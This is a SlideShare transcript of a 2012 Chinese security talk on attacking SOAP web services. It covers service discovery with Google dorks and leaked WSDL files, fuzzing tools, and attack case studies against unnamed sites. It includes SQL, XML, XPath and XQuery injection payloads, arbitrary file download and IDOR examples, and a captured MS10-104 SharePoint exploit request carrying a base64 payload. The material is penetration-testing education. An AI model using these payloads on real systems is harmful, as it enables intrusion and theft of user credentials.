About Me:From:        知道创宇安全研究团队               www.Knownsec.com          1,Web安全研究          2,核心产品研发        FreeBuf核心成员   ...
他们在使用Web服务:
多种多样的Web服务:1,提供IP地址来源查询接口   2,QQ在线状态查询接口
多种多样的Web服务:3,验证码生成接口
内容概要: 1,什么是Web服务 2, 发现Web服务及信息搜集 3,Web服务弱点及攻击手法
什么是Web服务:            UDDI            Web    XML     服务                   WSDL            SOAP                          Go
什么是Web服务:                 WSDL文件解析<service>标签中提供了当前Web服务的名称,Web服务所在位置:<wsdl:service name="newsserver"><wsdl:port name="new...
什么是Web服务:<portType>标签中提供了当前所有调用接口名称及调用方法的类型: <wsdl:portType name="newsserverSoap"> <wsdl:operation name="Gethuodong"> <wsd...
<types>标签中提供当前所有接口的参数及返回值的名称与类型信息 <wsdl:types> <s:schema targetNamespace="http://tempuri.org/"> <s:element name="Gethuodon...
什么是Web服务:<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow="Features.Of.WebService"> <so...
发现Webservice:Web服务一般是对外公开的,所以不难找到它们1,Google Hack:     filetype:asmx inurl:wsdl     filetype:wsdl inurl:asmx index of "wsdl...
Google Hack查询结果:
Seekda中查询Amazon提供的Web服务:
Xmethods中的第三方Web服务列表:
Web服务信息搜集:  1,WSDL,DISCO文件信息泄露:           payCheck.asmx?wsdl           payCheck.asmx/wsdl           payCheck.asmx?disco   ...
国内某游戏厂商在线支付平台Web服务:       WSDL文件信息泄露
DISCO文件信息泄露:1,WSDL中的信息一般是无害的,但也会导致大量业务逻辑被暴露出来。2,没有什么比WSDL和DISCO文件泄露的信息再多了,通过它们你几乎可以了解该Web服务的全部细节,可是XML文件看上去很难直观的展示出Web服务的相...
Python脚本遍历WSDL文件:
公开的Web Service测试工具:       .Net WebService Studio
Foundstone出品WSDigger:        提供了简单的漏洞Fuzzing功能
WSDigger生成的报告:
Fuzzing工具WS-Attacker:枚举Web服务接口信息,                 SOAP请求测试,Web服务Fuzzing
商业版自动化Web服务测试神器SoapUI:
针对Web服务安全问题自动化Fuzzing过程:
攻击Web服务及测试案例
Web服务安全概述:1,Web服务依赖于XML格式化语言和SOAP协议,由于之前所讲的一些特性,这些技术正在变得越来越流行,广泛的被各大企业厂商应用到实际服务中。但很少有相关人员意识到Web服务会带来的严重安全问题,攻击者通过实施Web服务攻击...
一般Web Service渗透测试步骤:发现Web服务(UDDI,Web服务查询网站,GoogleHack)   针对Web服务请求WSDL,DISCO文件。     针对每个接口人工或自动化Fuzzing进行安全测试      If ur l...
Error-Based Sql Injection:   国内某旅游网1,正常SOAP请求及响应信息:2,请求 北京’:                                 典型的报错注入点
请求北京 ‘and 1=@@version or ‘1‘=‘1:                                        爆出当前                                        MSSQL信...
服务器信息泄露:                    国内某软件厂商  一些私有的Web服务接口,没有做好访问权限设置导致接口完  全暴露在外,可以被任何人调用,从而被攻击者利用获取一些  敏感信息,以便进一步进行渗透。向一个私有接口发起请求...
任意文件下载:一个GetFile接口,没有对特殊字符进行过滤和限制可以导致任意文件下载:1,发送空参数请求 暴出网站绝对路径:2,请求目标网站的Web.config配置文件:
成功获取到了经过Base64编码后的文件内容:           Base64解码后的配置文件文件内容:
任意用户资料查看:             国内某SNS交友社区获取用户接口GetUser未做权限访问控制,任何人可以调用该接口查看任意用户信息。注册一个帐号,使用自己的ID调用GetUser接口:个人账户信息一览无余
更换用户ID发送请求:                                  可以查看到其他用户                                   的账密信息由于目标网站用户ID可预测,因此通过此漏洞,该站上百万的...
XML Injection:当使用XML存储一些敏感数据或使用XML格式化数据时,一些Web服务接口没有对用户的输入进行转义,导致攻击者可以插入任意XML标签,进行越权访问或恶意操作。发现XML Injection:  1,在SOAP消息中,使...
测试Xml文件中的用户信息:   ID=0为管理员权限   ID=500为普通用户权限通过XML Injection我们注入一个具有管理员权限的用户
注入XML标签之后的userdb.xml文件内容:使用注入的帐号登录成功,得到管理员权限:上面针对的是使用XML格式化数据进行的XML注入,同时我们还可以发送以下请求针对SOAP请求本身进行XML注入:
XPath&XQuery Injection:1,XPath: XPath是一门在 XML 文档中查找信息的语言,通过元素和属性进行导航。2,XQuery:建立在XPath的基础上,比XPath更加灵活,同样用于在XML文档中查询信息。已经被现...
使用不存在的用户invalid/invalid登录:使用用户名:invalid’ or ‘1’=‘1 密码:invalid’ or ‘1’=‘1登录。$match_user = $xml->xpath("//User[Username=‘inv...
Xquery注入与Xpath十分相似:doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]doc(userdb.xml)//User[Username=‘invalid...
(MS10-104)SharePoint Server Arbitrary File Upload RCESharePoint Server是一个服务器功能集成套件,提供全面的内容管理和企业搜索。该套件中提供了一个用于文档格式转换的Web服务,...
利用MSF执行Payload成功,获得一个Meterpreter session:通过WireShark截获的Metasploit向SharePoint服务器发送的数据包:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:...
我们的成果分享及交流途径 通过官方博客:http://blog.knownsec.com/ 通过官方微博: @知道创宇
@Pnig0s To:M
[xKungFoo2012]Web Service Hack
Upcoming SlideShare
Loading in …5
×

[xKungFoo2012]Web Service Hack

1,760 views

Published on

pnig0s xkungfoo2012 web service hack methodology focus on soap webservice

Published in: Technology
  • Be the first to comment

[xKungFoo2012]Web Service Hack

  1. 1. About Me:From: 知道创宇安全研究团队 www.Knownsec.com 1,Web安全研究 2,核心产品研发 FreeBuf核心成员 www.FreebuF.com ---国内外实时安全资源资讯聚合
  2. 2. 他们在使用Web服务:
  3. 3. 多种多样的Web服务:1,提供IP地址来源查询接口 2,QQ在线状态查询接口
  4. 4. 多种多样的Web服务:3,验证码生成接口
  5. 5. 内容概要: 1,什么是Web服务 2, 发现Web服务及信息搜集 3,Web服务弱点及攻击手法
  6. 6. 什么是Web服务: UDDI Web XML 服务 WSDL SOAP Go
  7. 7. 什么是Web服务: WSDL文件解析<service>标签中提供了当前Web服务的名称,Web服务所在位置:<wsdl:service name="newsserver"><wsdl:port name="newsserverSoap" binding="tns:newsserverSoap"><soap:address location="http://www.pwnit.com/newsserver.asmx"/></wsdl:port>……</wsdl:service>
  8. 8. 什么是Web服务:<portType>标签中提供了当前所有调用接口名称及调用方法的类型: <wsdl:portType name="newsserverSoap"> <wsdl:operation name="Gethuodong"> <wsdl:input message="tns:GethuodongSoapIn"/> <wsdl:output message="tns:GethuodongSoapOut"/> </wsdl:operation> </wsdl:portType>
  9. 9. <types>标签中提供当前所有接口的参数及返回值的名称与类型信息 <wsdl:types> <s:schema targetNamespace="http://tempuri.org/"> <s:element name="Gethuodong"> <s:complexType><s:sequence> <s:element name="title" type="s:string"/> </s:sequence></s:complexType></s:element> <s:element name="GethuodongResponse"> <s:complexType><s:sequence> <s:element name="GethuodongResult" type="s:string"/> </s:sequence></s:complexType></s:element> </s:schema> </wsdl:types> Back
  10. 10. 什么是Web服务:<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:fow="Features.Of.WebService"> <soapenv:Header/> <soapenv:Body> <fow:Characteristic> <fow:Features> 1,松耦合 2,语言无关 3,独立于平台 4,跨越企业与互联网 </fow:Features> </scor:Characteristic> </soapenv:Body></soapenv:Envelope>
  11. 11. 发现Webservice:Web服务一般是对外公开的,所以不难找到它们1,Google Hack: filetype:asmx inurl:wsdl filetype:wsdl inurl:asmx index of "wsdl“2,UDDI注册中心查询: Microsoft,IBM,SAP 提供的UDDI服务已经全部停止 公共Web service查询网站: http://webservices.seekda.com/3,Xmethods(一些公开的Web服务): http://www.xmethods.net/ve2/index.po
  12. 12. Google Hack查询结果:
  13. 13. Seekda中查询Amazon提供的Web服务:
  14. 14. Xmethods中的第三方Web服务列表:
  15. 15. Web服务信息搜集: 1,WSDL,DISCO文件信息泄露: payCheck.asmx?wsdl payCheck.asmx/wsdl payCheck.asmx?disco Oh man,are u kidding me? Yeah baby,that’s enough.
  16. 16. 国内某游戏厂商在线支付平台Web服务: WSDL文件信息泄露
  17. 17. DISCO文件信息泄露:1,WSDL中的信息一般是无害的,但也会导致大量业务逻辑被暴露出来。2,没有什么比WSDL和DISCO文件泄露的信息再多了,通过它们你几乎可以了解该Web服务的全部细节,可是XML文件看上去很难直观的展示出Web服务的相关信息。So,do it ur self.
  18. 18. Python脚本遍历WSDL文件:
  19. 19. 公开的Web Service测试工具: .Net WebService Studio
  20. 20. Foundstone出品WSDigger: 提供了简单的漏洞Fuzzing功能
  21. 21. WSDigger生成的报告:
  22. 22. Fuzzing工具WS-Attacker:枚举Web服务接口信息, SOAP请求测试,Web服务Fuzzing
  23. 23. 商业版自动化Web服务测试神器SoapUI:
  24. 24. 针对Web服务安全问题自动化Fuzzing过程:
  25. 25. 攻击Web服务及测试案例
  26. 26. Web服务安全概述:1,Web服务依赖于XML格式化语言和SOAP协议,由于之前所讲的一些特性,这些技术正在变得越来越流行,广泛的被各大企业厂商应用到实际服务中。但很少有相关人员意识到Web服务会带来的严重安全问题,攻击者通过实施Web服务攻击可以直接渗透到相关服务的核心部分,造成巨大的损失。2,目前针对Web服务攻击的防护可以说是安全防御的一个盲区,如WAF,IDS等防护产品。而由于Web服务的开放性和灵活度非常高,所以已有的一些Web服务防御措施效果也并不明显。3,访问权限控制是目前Web服务的主要防御和控制措施,一个Web服务接口如果权限设置不当,相关的高权限接口直接暴露在外,被恶意利用就会产生严重的后果。
  27. 27. 一般Web Service渗透测试步骤:发现Web服务(UDDI,Web服务查询网站,GoogleHack) 针对Web服务请求WSDL,DISCO文件。 针对每个接口人工或自动化Fuzzing进行安全测试 If ur lucky,u can pwn it!
  28. 28. Error-Based Sql Injection: 国内某旅游网1,正常SOAP请求及响应信息:2,请求 北京’: 典型的报错注入点
  29. 29. 请求北京 ‘and 1=@@version or ‘1‘=‘1: 爆出当前 MSSQL信息请求北京 ‘and 1=user or ‘1’=‘1: 还是DBO 关联案例:WooYun-2011-01860(Jannock,某商城SQL注入)
  30. 30. 服务器信息泄露: 国内某软件厂商 一些私有的Web服务接口,没有做好访问权限设置导致接口完 全暴露在外,可以被任何人调用,从而被攻击者利用获取一些 敏感信息,以便进一步进行渗透。向一个私有接口发起请求: 直接获取服务器数据库连接信息关联案例:wooyun-2010-04665(巭,北辰国旅/海涛假期服务器高危漏洞)
  31. 31. 任意文件下载:一个GetFile接口,没有对特殊字符进行过滤和限制可以导致任意文件下载:1,发送空参数请求 暴出网站绝对路径:2,请求目标网站的Web.config配置文件:
  32. 32. 成功获取到了经过Base64编码后的文件内容: Base64解码后的配置文件文件内容:
  33. 33. 任意用户资料查看: 国内某SNS交友社区获取用户接口GetUser未做权限访问控制,任何人可以调用该接口查看任意用户信息。注册一个帐号,使用自己的ID调用GetUser接口:个人账户信息一览无余
  34. 34. 更换用户ID发送请求: 可以查看到其他用户 的账密信息由于目标网站用户ID可预测,因此通过此漏洞,该站上百万的用户账密资料可以被攻击者轻易获取。关联案例: wooyun-2010-01209(Jannock, 39健康网多处越权漏洞)
  35. 35. XML Injection:当使用XML存储一些敏感数据或使用XML格式化数据时,一些Web服务接口没有对用户的输入进行转义,导致攻击者可以插入任意XML标签,进行越权访问或恶意操作。发现XML Injection: 1,在SOAP消息中,使用标签作为参数,如:</xmli>会导致报错。 2,使用一对标签作为参数,如<xmli></xmli>,观察报错是否消失。
  36. 36. 测试Xml文件中的用户信息: ID=0为管理员权限 ID=500为普通用户权限通过XML Injection我们注入一个具有管理员权限的用户
  37. 37. 注入XML标签之后的userdb.xml文件内容:使用注入的帐号登录成功,得到管理员权限:上面针对的是使用XML格式化数据进行的XML注入,同时我们还可以发送以下请求针对SOAP请求本身进行XML注入:
  38. 38. XPath&XQuery Injection:1,XPath: XPath是一门在 XML 文档中查找信息的语言,通过元素和属性进行导航。2,XQuery:建立在XPath的基础上,比XPath更加灵活,同样用于在XML文档中查询信息。已经被现在主流的RDBMS所支持,如Oracle, DB2,SQLServer。3,与SQL语言不同的是,XML或者XPath,XQuery 内部没有任何访问权限的控制,如果可以控制XPath语句,就能从XML文件中查询任何信息。4,SOAP基于xmlrpc,但比其更加复杂和强大,因为使用了rpc远程过程调用,信息均以数据流传输,因此针对Web服务的攻击可以无视php魔术引号等一些PHP配置文件中的安全限制措施
  39. 39. 使用不存在的用户invalid/invalid登录:使用用户名:invalid’ or ‘1’=‘1 密码:invalid’ or ‘1’=‘1登录。$match_user = $xml->xpath("//User[Username=‘invalid’ andPassword=‘invalid’]");$match_user = $xml->xpath("//User[Username=‘invalid’ or ‘1’=‘1’ andPassword=‘invalid’ or ‘1’=‘1’]"); 登录成功, 具备管理员权限
  40. 40. Xquery注入与Xpath十分相似:doc(userdb.xml)//User[Username=‘invalid’ and Password=‘invalid’]doc(userdb.xml)//User[Username=‘invalid’ or ‘1’=‘1’ andPassword=‘invalid’ or ‘1’=‘1] 只需要额外指明xml文件XQuery中的一些新特性:1,contains函数:doc(userdb.xml)//User[contains(Username,‘invalid’) andcontains(Password=‘invalid’)]doc(userdb.xml)//User[contains(Username,‘invalid’) or contains(.,’*’)and contains(Password=‘invalid’) or contains(.,’*’)]2, position函数:doc(userdb.xml)//User[contains(Username,‘invalid’) orcontains(Username,’root’) and contains(Password=‘’) or contains(.,’*’)and position() <=2]//语句可以绕过验证,并返回root信息,position()指明查询范围为前两个结点
  41. 41. (MS10-104)SharePoint Server Arbitrary File Upload RCESharePoint Server是一个服务器功能集成套件,提供全面的内容管理和企业搜索。该套件中提供了一个用于文档格式转换的Web服务,攻击者通过向ConvertFile接口发送畸形的SOAP请求来上传恶意文件并执行任意代码。影响版本:SharePoint 2007 sp2开启文档转换服务的SharePoint:服务监听在8082端口:
  42. 42. 利用MSF执行Payload成功,获得一个Meterpreter session:通过WireShark截获的Metasploit向SharePoint服务器发送的数据包:
  43. 43. <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> 请求的接口<i2:ConvertFile id=“ref-1”xmlns:i2="http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface"> Web服务地址<launcherUri id="ref-3">http://192.168.80.141:8082/HtmlTrLauncher</launcherUri><appExe id="ref-4"></appExe><convertFrom id="ref- 生成的Payload路5">..............WINDOWSsystem32IIMKbknocxSsQ.exe</convertFrom><convertTo id="ref-6">html</convertTo> 径及名称<fileBits href="#ref-7"/>……. Base64编码后的</i2:ConvertFile><SOAP-ENC:Array id=“ref-7” xsi:type=“SOAP- ShellCodeENC:base64”>TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6F….
  44. 44. 我们的成果分享及交流途径 通过官方博客:http://blog.knownsec.com/ 通过官方微博: @知道创宇
  45. 45. @Pnig0s To:M

×